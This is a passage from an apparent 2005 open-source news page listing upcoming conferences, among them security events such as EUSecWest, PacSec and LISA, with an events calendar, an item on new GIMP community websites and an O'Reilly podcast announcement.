and the European event will take place in Amsterdam on February 28-March 3,
2006.
Full Story (comments: none)
A call for papers has gone out for EUSecWest/core06, the event
takes place on February 20-21, 2006 in London, England.
Also, the PacSec/core05 Conference will take place in Tokyo,
Japan on November 14-16, 2005.
Full Story (comments: none)
USENIX has sent out a
press release about the 19th Large Installation
System Administration (LISA) Conference.
"
With security a priority for system and network administrators, LISA '05 offers a broad selection of training
classes on security-related topics including Linux security and network
incidence response; refereed papers showcasing state-of-the-art work on
security and access controls, and invited talks by luminaries on subjects
ranging from vulnerabilities through wireless security to firewalls."
The event takes place on December 4-9, 2005 in San Diego, CA.
Comments (none posted)
The 2005 Open Source Forum will be held on
December 13-15, 2005 at the RiverCentre in St. Paul, Minnesota.
"
The Open Source Forum is an annual educational and collaborative event designed to bring together
the public and private sectors, associations, educators and individuals involved in the research,
development, education and deployment of open source software."
Full Story (comments: none)
LinuxMedNews
promotes the SCALE conference.
"
Looking for an effective way to tell your product story and demonstrate its latest features to both new users as well as Linux veterans? Join other prestigious members of the Open Source community as they combine forces at the preeminent Linux exposition in the West. The fourth annual Southern California Linux Expo brings together businesses, academic institutions and the Linux community in Los Angeles on February 11-12, 2006."
Comments (none posted)
O'Reilly has announced the registration for the first
O'Reilly Emerging Telephony Conference. The event will take place on
January 24-26, 2006 at the San Francisco Airport Marriott in
San Francisco, CA.
Full Story (comments: none)
| Date | Event | Location |
| November 10 - 11, 2005 | Ubuntu
Below Zero | (downtown Holiday Inn)Montreal, Canada |
| November 10, 2005 | Forum PHP Paris
2005 | Paris, France |
| November 12 - 18, 2005 | SC|05 | (Washington State Convention and Trade
Center)Seattle, WA |
| November 13 - 15, 2005 | Firebird Conference
2005 | (Hotel Olsanka)Prague, Czech Republic |
| November 15 - 18, 2005 | Embedded
Technology 2005(ET2005) | Yokohama, Japan |
| November 15 - 17, 2005 | LinuxWorld
Germany | Frankfurt, Germany |
| November 15 - 16, 2005 | PacSec/core05
conference | Tokyo, Japan |
| November 18, 2005 | European Gentoo
developer meeting | Schloss Kransberg, Germany |
| November 20 - 23, 2005 | 5tas Jornadas
Regionales de Software Libre | Rosario, Santa Fe, Argentina |
| November 29 - December 2, 2005 | FOSS.IN/2005 | (Bangalore Palace)Bangalore, India |
| December 4 - 9, 2005 | Large Installation
System Administration Conf.(LISA) | San Diego, CA |
| December 5 - 7, 2005 | Open Source Developers'
Conference(OSDC) | (Monash University's Caulfield campus)Melbourne, Australia |
| December 27 - 30, 2005 | 22nd Chaos
Communication Congress | Berlin, Germany |
Comments (none posted)
Web sites
GnomeDesktop.org
mentions the latest new web sites for the GNU Image Manipulation
Program (GIMP).
"
paths.gimp.org is a collection of news
from the world of free art software. in particular from the people who are
going to be attending the Libre Graphics Meeting next
year.
layers.gimp.org is a collection of
GIMP developers with blogs.
pixels.gimp.org is a collection of
GIMP users with blogs."
Comments (none posted)
Audio and Video programs
O'Reilly
has announced a new podcast program.
"
In this 48-minute audio program from the Web 2.0 conference, Tim O'Reilly
speaks with Sun Microsystems COO Jonathan Schwartz and Mozilla Foundation
president Mitchell Baker about developer communities, distribution,
architectures and expandability, and the value of open source."
Comments (none posted)
Page editor: Forrest Cook